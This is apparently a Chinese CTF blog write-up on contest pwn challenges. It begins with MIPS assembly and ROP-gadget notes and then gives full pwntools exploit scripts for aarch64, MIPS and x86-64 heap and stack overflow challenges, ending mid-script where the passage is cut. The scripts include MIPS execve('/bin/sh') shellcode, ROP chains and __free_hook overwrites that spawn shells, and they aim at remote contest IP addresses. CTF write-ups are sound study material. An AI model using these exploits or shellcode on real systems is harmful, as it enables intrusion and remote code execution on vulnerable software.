分支跳转指令本身可以通过比较两个寄存器决定如何跳转;如果想要实现与立即数的比较跳转,需要结合类跳转指令实现

1
2
3
4
5
6
7
b target;				无条件跳转到target处
beq $t0, $t1, target; 如果"$t0 == $t1”,跳转到target
blt $t0, $t1, target; 如果“$t0 < $t1”,跳转到target
ble $t0, $t1, target; 如果“$t0 <= $t1” 跳转到target
bgt;
blt;
bne; 类比上

⑤跳转指令

1
2
3
j target;			无条件跳转target
jr $t3; 跳转到$t3指向的地址处(Jump Register),没有保存地址,一般是函数返回时候用到的
jal target; 跳转到target,并保存返回地址到$ra中,常见于函数调用

⑥子函数的调用

1
jal   sub_routine_label;复制返回地址到$ra中,即当前PC+8的值,程序跳转到sub_routine_label

⑦子函数的返回

1
jr    $ra;如果子函数重复嵌套,则将$ra的值保存在堆栈中,因为$ra总是保存当前执行的子函数的返回地址

以上大多参考如下

MIPS汇编语言入门 - Sylvain’s Blog (valeeraz.github.io)

2021第四届强网拟态防御积分赛工控pwn eserver WP - 安全客,安全资讯平台 (anquanke.com)

5.常用ROP寻址

IDA中

1
2
3
4
5
6
7
8
9
10
#mipsrop
import mipsrop
mipsrop=mipsrop.MIPSROPFinder()
mipsrop.find("")
mipsrop.stackfinder() #寻找栈数据可控的 rop,建立和 a0、a1 寄存器的关系
mipsrop.summary() #列出所有的可用 rop
mipsrop.system() #寻找命令执行的的rop
mipsrop.find('jr $ra')
mipsrop.find("move $t9, $s3")
mipsrop.find("addiu $a1,$sp")

很多好用ROP的可在libc的scandir_tail类别函数下可以找到

Shellcode三部曲

(1)gadget1

从sp控制寄存器

1
2
3
4
5
lw ra,0x3c(sp);
lw s3,0x2c(sp);
lw s2,0x28(sp);
lw s1,0x24(sp);
lw s0,0x20(sp);

这个通常可以在scandir_tail函数中找,或者如下

1
mipsrop.find('jr $ra')

(2)gadget2

从栈取地址给寄存器,然后跳转之前控制住的寄存器

1
addiu a1,0x18(sp);move t9,s3;jalr t9

addiu指令即是取栈地址到a1寄存器,方便之后跳转,如下寻找指令

1
mipsrop.find("addiu $a1,$sp")

(3)gadget3

跳转保存栈地址的寄存器,进入shellcode

1
move t9,a1;move a1,a2;jr t9

如下寻址指令

1
mipsrop.find("move $t9, $s3")

因为一般上基本不存在直接取栈地址然后跳转的,所以需要多重跳转来完成。

🔺可用shellcode:

(1)直接可用的

1
2
3
4
5
6
7
8
9
10
11
12
13
shellcode = b""
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962 ib
shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f ib//
shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c" # lui $t6, 0x6873 hs
shellcode += b"\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e hs/n
shellcode += b"\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc //bin/sh
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24" # addiu $v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01" # syscall 0x40404

(2)从栈上取数据的:

1
2
3
4
5
shellcode1 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x01\x01\x01"

对应的如下汇编代码:

1
2
3
4
5
rasm2 -a mips -b 32 -C "lw a0,-0x1e4(sp)" 	#a
rasm2 -a mips -b 32 -C "move a1,s2" #a1
rasm2 -a mips -b 32 -C "move a2,s2" #a2
rasm2 -a mips -b 32 -C "lw v0,-0x1d8(sp)" #v0
rasm2 -a mips -b 32 -C "syscall" #syscall

6.调试

1
2
3
4
set architecture mips
set endian little
symbol-file ./Mplogin
target remote 127.0.0.1:12345

下载库

异构下载库

1
2
apt install crossbuild-essential-*
apt install qemu-user

强网决赛拟态WP

白盒黑盒啥的我一点都不会,只会做点CTF然后给大佬们加油!那些什么简单题就不说了,总结一下比较有意思的。

一、oneaarch

这是个aarch架构的简单堆溢出的题,由于做的时候,本地环境没有搭的太好,也不太会在PIE的时候断点调试,直接就是盲堆,所以花了挺长时间。

另外还说一点的就是本题的设计还不错,是通过字节来进行堆的布置的,也就是只能发送一次数据,然后依据这里面的数据来进行堆的申请与释放,不符合规则的就无法正确操作。如果把这个思路用在x86_64的架构下,那么很多需要泄露地址的堆题直接就没办法做了,还是很有意思的。

但是这里由于qemu模拟的关系,在PIE的条件下,无论启动多少次,程序的基地址还是不变的,相当于是个简单版的PIE+ASLR。而在这题里,由于只能发送一次payload,所以这里我们可以先泄露地址,然后再进行getshell。

1.泄露地址

利用堆溢出修改size进入Unsortedbin泄露地址即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
add(0,0xf8)
add(1,0xf8)
add(2,0xf8)
add(3,0xf8)
add(4,0xf8)
add(5,0xf8)
add(6,0xf8)
edit(0,0xf8+2,'PIG007NB'*(0xf8/8)+p16(0x501))

delete(5)
delete(4)
delete(3)
delete(2)
delete(1)

add(1,0x78)
add(2,0x78)
add(3,0x78)
p.recv()
sleep(1)
edit(1,0x8,"B"*8)
show(1)

ru('B'*8)
leak = uu32(rc(3))
libc_base = leak- 0x000658 - libc.sym['_IO_2_1_stdin_']
lg("libc_base",libc_base)

这里泄露地址的时候需要注意一下aarch架构的libc加载的区别,一定是0x4000000000打头的。同时由\x00的截断我们只能获取到后面的几个不是\x00的数据,那么得到数据之后减去偏移再加上0x4000000000即可。

2.getshell

这里就直接贴总的wp了,也就是正常的溢出加劫持fd为free_hook,打free_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *
import struct
import os

#context
#context.arch = 'amd64'
#SigreturnFrame(kernel = 'amd64')

#context.log_level = 'debug'
context(arch='aarch64')
#context(arch='arm')


binary = "./pwn"
localPort = "12345"
arch = "qemu-aarch64"
#arch = "qemu-arm"
linkLibrary = "/home/hacker/glibc/2.31/aarch"
#linkLibrary = "/home/hacker/glibc/2.27/arm"

#libc = ELF("/home/hacker/glibc/2.31/arm/lib/libc.so.6")
#libc = ELF("/home/hacker/glibc/2.31/aarch/lib/libc.so.6")
libc = ELF("./libc-2.31.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xff")[-4: ]) - offset
it = lambda :p.interactive()



global chunkPayload

remote_debug=0
remoteFlag=1
local=0
if remote_debug==1:
p = process([arch, '-L', linkLibrary, '-g', localPort, binary])
#p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', '-g', '1234', binary],env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
elif local==1:
p = process([arch, '-L', linkLibrary, binary])
elf = ELF(binary)
elif remoteFlag==1:
p = remote("172.35.30.11","9999")

def add(idx,size):
global chunkPayload
chunkPayload += '\x01'
chunkPayload += p8(idx)
chunkPayload += p16(size)

def delete(idx):
global chunkPayload
chunkPayload += '\x02'
chunkPayload += p8(idx)

def show(idx):
global chunkPayload
chunkPayload += '\x03'
chunkPayload += p8(idx)

def edit(idx,size,con):
global chunkPayload
chunkPayload += '\x04'
chunkPayload += p8(idx)
chunkPayload += p16(size)
chunkPayload += con


def mulArchDbg():
os.system("gnome-terminal -- bash -c \"gdb-multiarch -q {0} \
--eval-command='target remote localhost:{1}'\"".format(binary,localPort))
pause()
def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


chunkPayload = ""
#pause()
#mulArchDbg()
#pause()
p.recv()

remote_libc_base = 0x848000
local_libc_base = 0x845000
free_hook = remote_libc_base + libc.sym['__free_hook']
_IO_2_1_stdout = remote_libc_base + libc.sym['_IO_2_1_stdout_']
system = remote_libc_base + libc.sym['system']
lg("remote_libc_base",remote_libc_base)
lg("free_hook",free_hook)
lg("system",system)
#pause()
add(0,0xf8)
add(1,0xf8)
add(2,0xf8)
add(3,0xf8)
add(4,0xf8)
add(5,0xf8)
add(6,0xf8)
edit(0,0xf8+2,'PIG007NB'*(0xf8/8)+p16(0x501))

delete(5)
delete(4)
delete(3)
delete(2)
delete(1)

add(1,0x78)
add(2,0x78)
add(3,0x78)

# p.recv()

# sleep(1)

# edit(1,0x8,"B"*8)

# show(1)

#edit(3,0x3,p16(free_hook&0xffff)+p8(free_hook>>16))

# show(1)

edit(3,0x8,p64(0x4000000000+free_hook))

# show(1)

add(7,0xf8)
#show(7)
add(8,0xf8)
#show(8)
#edit(8,0x3,p16(system&0xffff)+p8(system>>16))
edit(8,0x8,p64(0x4000000000+system))

# show(8)

#edit(8,0x3,p16(system&0xffff)+p8(system>>16))
edit(0,8,'/bin/sh\x00')
delete(0)


p.send(chunkPayload)

# ru('B'*8)

# leak = uu32(rc(3))

# libc_base = leak- 0x000658 - libc.sym['_IO_2_1_stdin_']

# lg("libc_base",libc_base)

sleep(1)
p.recv()
pause()
p.interactive()

#flag{030fa6cc-ba7d-4b35-a847-a690953e2270}

二、eserver

这题是mips架构的pwn题,由于没有接触过,当时直接现学了一波,后面再把所有架构的pwn题整个汇总把。

栈溢出题,没开canary和NX,按理说应该可以返回到栈上直接执行shellcode。那么本地直接依照调试获取栈地址返回栈上进行shellcode,但是远程的时候需要爆破一下栈地址,也不会太多,因为PIE基本等于不存在,栈地址的起始位置大概率就是0x7ffxx000,应该只需要爆破xx这一个字节,有时候通常也是0x7ffex000,也就是半个字节即可。

此外说一下调试,怕以后忘了。由于开启了PIE,如果直接qemu模拟的话,很难确定函数的位置,不好下断点,所以这里讲一个比较常用到的方法。

调试

由于qemu和开启PIE的mips架构的特性,貌似在栈下面就是共享库的加载地址,这个做了好多实验,都是这样的,不知道为啥,应该是mips架构下开启PIE之后,文件会变成共享库的格式:

image-20211115215721252

再依据共享库加载的特性吧。

所以这里我们直接就能通过add-symbol-file File text_addr的形式来确定地址。

image-20211115215604777

这里红箭头指向的地方应该就是我们的开启PIE之后的文件加载地址,之后添加即可。

image-20211115215845957

这样在输入函数打印,即可确定

image-20211115215959158

得到如下结果,这样就能方便调试了。

image-20211115220009365

所以这里应该是有两种方法的

1.通过爆破栈进行shellcode利用

(1)编写shellcode

这里讲一下shellcode的编写

①通过栈寄存器sp来取值编写

利用lw指令,通过sp寄存器来从栈上取值赋给对应的参数寄存器,最终效果如下:

image-20211115233439670

对应的汇编生成:

1
2
3
4
5
rasm2 -a mips -b 32 -C "lw a0,-0x1e4(sp)" 	#a
rasm2 -a mips -b 32 -C "move a1,s2" #a1
rasm2 -a mips -b 32 -C "move a2,s2" #a2
rasm2 -a mips -b 32 -C "lw v0,-0x1d8(sp)" #v0
rasm2 -a mips -b 32 -C "syscall" #syscall

由于\x00的截断,所以这里选取在sp之前的数据进行获取,其实由于循环的关系,这里也可以通过重复发送数据来将\x00给输入进来,之后发送/bin/sh\x00以及syscall的时候就是用到这个的。

②利用其他寄存器

同理,由于elf_base不变,所以可以通过寄存器减去偏移获取存在bss段上的数据,一样设置,比如下图的a1和s1寄存器。

image-20211115234634536

如下的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# -*- coding:UTF-8 -*-

from pwn import *
from LibcSearcher import *
import struct
import os

#context
#context.arch = 'amd64'
SigreturnFrame(kernel = 'mips')

#context.log_level = 'debug'
context(arch='mips')
#context(arch='arm')


binary = "./mipselNormal"
localPort = "12345"
version = "2.23"
arch = "mipsel"
qemu_arch = "qemu-{0}".format(arch)
linkLibrary = "/home/hacker/glibc/{0}/{1}".format(version,arch)
libc = ELF(linkLibrary+"/lib/libc-{0}.so".format(version))
#libc = ELF("./libc-2.31.so")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xff")[-4: ]) - offset
it = lambda :p.interactive()

global p


remote_debug=1
remoteFlag=0
local=0
if remote_debug==1:
p = process([arch, '-L', linkLibrary, '-g', localPort, binary])
#p = process([arch,'-g',localPort,binary])
#p = process([arch, '-L', '.', '-g', localPort, binary])
elf = ELF(binary)
elif local==1:
p = process([arch, '-L', linkLibrary, binary])
elf = ELF(binary)
elif remoteFlag==1:
p = remote("172.35.30.12","9999")


def mulArchDbg():
os.system("gnome-terminal -- bash -c \"gdb-multiarch -q {0} \
--eval-command='target remote localhost:{1}'\"".format(binary,localPort))
pause()
def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


def send_package(content):
p.recvuntil("Input package:")
p.sendline(content)

def pwn():
global p

elf_base = 0x7ffed000
sp = elf_base - 0x1160
#sp = 0x7ffebea0
#mulArchDbg()
binsh_addr = sp-0x200+0x8 + 20 + 0x4
shellcode_addr = sp-0x200+0x8
binsh0 = '/bin/sh\x00'
binsh1 = '/bin/sh\x11'
lg("sp",sp)
lg("binsh_addr",binsh_addr)
lg("shellcode_addr",shellcode_addr)
data0_1 = '\xab\x0f\xaa'
data0_2 = '\xab\x0f'
data1 = '\xab\x0f'.ljust(4,'B')
data_addr = binsh_addr + 0x8
lg("data_addr",data_addr)
#path(v0),argv(a1),env(a2),unistd_execv(v0)
shellcode1 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x01\x01\x01"
shellcode0_1 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x11\x11\x00"
shellcode0_2 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x11\x00\x00"
shellcode0_3 = "\x1c\xfe\xa4\x8f" + \
"\x20\x28\x40\x02" + \
"\x20\x30\x40\x02" + \
"\x28\xfe\xa2\x8f" + \
"\x0c\x00\x00\x00"
#shellcode = asm(shellcraft.sh())
#path(a0)
#p.sendline("EXIT")
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh1 + data1).ljust(0x1f8+4,"C") + p32(shellcode_addr))
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh1 + data0_1))
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh1 + data0_2))
p.sendline(("A"*8 + shellcode1 + p32(binsh_addr) + binsh0 + data0_2))
p.sendline(("A"*8 + shellcode0_1))
p.sendline(("A"*8 + shellcode0_2))
p.sendline(("A"*8 + shellcode0_3))
p.sendline("EXIT")
p.interactive()

pwn()

然后加个爆破脚本即可,爆破elf_base的地址,这里的sp是通过main函数返回之后进入shellcode的sp的地址。

image-20211115224101569

强网拟态WP

总的来说这次强网拟态的PWN题都不算难,不过有几个点倒是挺有意思的。

一、sonic

泄露elf_base了,然后直接栈溢出,利用本身自带的gadget即可getshell。但是这里也有一个后门函数,之后才发现的,不知道为啥。/usr/bin/cli这个命令居然直接得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./sonic"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("123.60.63.90",6890)
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "your choice>>"

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))


ru("main Address=0x")
elf_base = int(rc(12),16) -0x7cf
backdoor = elf_base+0x73A
lg("elf_base",elf_base)

pop_rdi_ret = 0x00000000000008c3
pop_rsi_r15_ret = 0x00000000000008c1
usrname = 0x201040
execv = 0x610

payload = ""
payload += '/bin/sh\x00'.ljust(0x28,'A')
payload += p64(elf_base + pop_rdi_ret)
payload += p64(elf_base + usrname)
payload += p64(elf_base + pop_rsi_r15_ret)
payload += p64(0)
payload += p64(0)
payload += p64(elf_base + execv)

#dbg()
sl(payload)
#pause()
p.interactive()


#flag{riCGJnvUieCXasPUUiAQ6XzWVdjFJTQB}

这里可以注意下execv这个函数,设置了rdi为/bin/sh之后还需要设置rsi为0才可getshell。

二、bitflip

这也是很常规,2.27的off by one,只能最大0x60的Chunk,可以直接改size大于0x80的fastbin,填满tcache之后释放进入Unsortedbin泄露地址,之后就常规改free_hook了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./bitflip"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("124.71.130.185","49155")
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def add(idx,size):
sla(menu,'1')
sla('Index: ',str(idx))
sla('Size: ',str(size))
def edit(idx,con):
sla(menu,'2')
sla('Index: ',str(idx))
sla('Content: ',con)
def show(idx):
sla(menu,'3')
sla('Index: ',str(idx))
def delete(idx):
sla(menu,'4')
sla('Index: ',str(idx))


for i in range(8):
add(i,0x38)

for i in range(8,12):
add(i,0x38)

for i in range(8):
edit(i,(0x38)*"\x11"+'\xe1')

edit(11,"\x21"*0x18+p64(0x21))

for i in range(8):
delete(i+1)


add(12,0x38)
show(12)
libc_base = u64Leakbase(304+0x10+libc.sym['__malloc_hook'])

__free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
lg("libc_base",libc_base)
lg("__free_hook_addr",__free_hook_addr)
lg("system_addr",system_addr)

add(13,0x38)
delete(10)
delete(13)
edit(9,p64(__free_hook_addr))
add(14,0x38)
add(15,0x38)
edit(15,p64(system_addr))
edit(0,'/bin/sh\x00')
delete(0)
it()

#flag{2296341872d87bd532c121d14d55c4ac}

三、old_school

很常规,2.27的off by one,直接拿off by null的模板改了,其实用上面bitflip的模板也是一样的,改size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./old_school"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("121.36.194.21",49155)
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def add(idx,size):
sla(menu, "1")
sla("Index: ", str(idx))
sla("Size: ", str(size))

def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sa("Content: ", con)


for i in range(0x7):
add(i,0xf8)

for i in range(0x7,0x7+0x7):
add(i,0x98)

add(0x14,0xf8) #0x14

add(0x15,0x98) #0x15
add(0x16,0xe8) #0x16
add(0x17,0xe8) #0x17
add(0x18,0xf8) #0x18
add(0x19,0xf8) #0x19
add(0x1a,0xf8) #0x1a

for i in range(0x7):
delete(i)
for i in range(0x7,0x7+0x7):
delete(i)

delete(0x15)
#prented off by null
edit(0x18,'\x33'*0xf0+p64(0x300+0xa0-0x10-0x10)+'\x00'+'\n')
delete(0x19)

for i in range(0x7,0x7+0x7):
add(i,0x98)

add(0x1b,0x98)
sleep(1)
show(0x1b)
ru("Content: ")
libc_base = u64Leakbase(0x3ec0b0)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one = libc_base + 0x4f432
lg("libc_base",libc_base)
lg("free_hook",free_hook)
lg("system",system)
sleep(1)

add(0x1c,0xe8)
add(0x1d,0xe8)
delete(0x1d)
delete(0x1c)
edit(0x16,p64(free_hook)+'\n')
add(0x1e,0xe8)
add(0x1f,0xe8)
edit(0x1f,p64(system)+'\n')
edit(0x14,'/bin/sh\x00'+"A"*0x10+'\n')
delete(0x14)
it()

#flag{m0lWJAzDB1vzxMn9PlMQXkPvEmGAdZzB}

四、old_school_revenge

刚好又出了个off by null,同样就是模板打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:UTF-8 -*-
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./old_school_revenge"
context.binary = binary
libc = ELF(context.binary.libc.path)
#elf = ELF(binary)
context.timeout = 0.2

global p


local = 0
if local:
p = process(context.binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
elf = ELF(context.binary)
else:
p = remote("123.60.63.39",49155)
elf = ELF(binary)
libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()

menu = "Your choice: "

def dockerDbg():
myGdb = remote("127.0.0.1",30001)
myGdb.interactive()
myGdb.sendline('b *$rebase(0xdbd)')
myGdb.close()
pause()
#b *$rebase(0xdbd)

def dbg():
gdb.attach(p)
pause()

def gdb_b(addr):
gdb.attach(p, "b *$rebase({0}) \n c".format(addr))
sleep(0.5)

def lg(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))

def add(idx,size):
sla(menu, "1")
sla("Index: ", str(idx))
sla("Size: ", str(size))

def delete(idx):
sla(menu, "4")
sla("Index: ", str(idx))

def show(idx):
sla(menu, "3")
sla("Index: ", str(idx))

def edit(idx,con):
sla(menu, "2")
sla("Index: ", str(idx))
sla("Content: ", con)

for i in range(0x7):
add(i,0xf8)

for i in range(0x7,0x7+0x7):
add(i,0x98)

add(0x14,0xf8) #0x14

add(0x15,0x98) #0x15
add(0x16,0xe8) #0x16
add(0x17,0xe8) #0x17
add(0x18,0xf8) #0x18
add(0x19,0xf8) #0x19
add(0x1a,0xf8) #0x1a

for i in range(0x7):
delete(i)
for i in range(0x7,0x7+0x7):
delete(i)

delete(0x15)
#off by null
edit(0x18,'\x22'*0xf0+p64(0x300+0xa0-0x10-0x10))
delete(0x19)

for i in range(0x7,0x7+0x7):
add(i,0x98)


add(0x1b,0x98)
sleep(1)
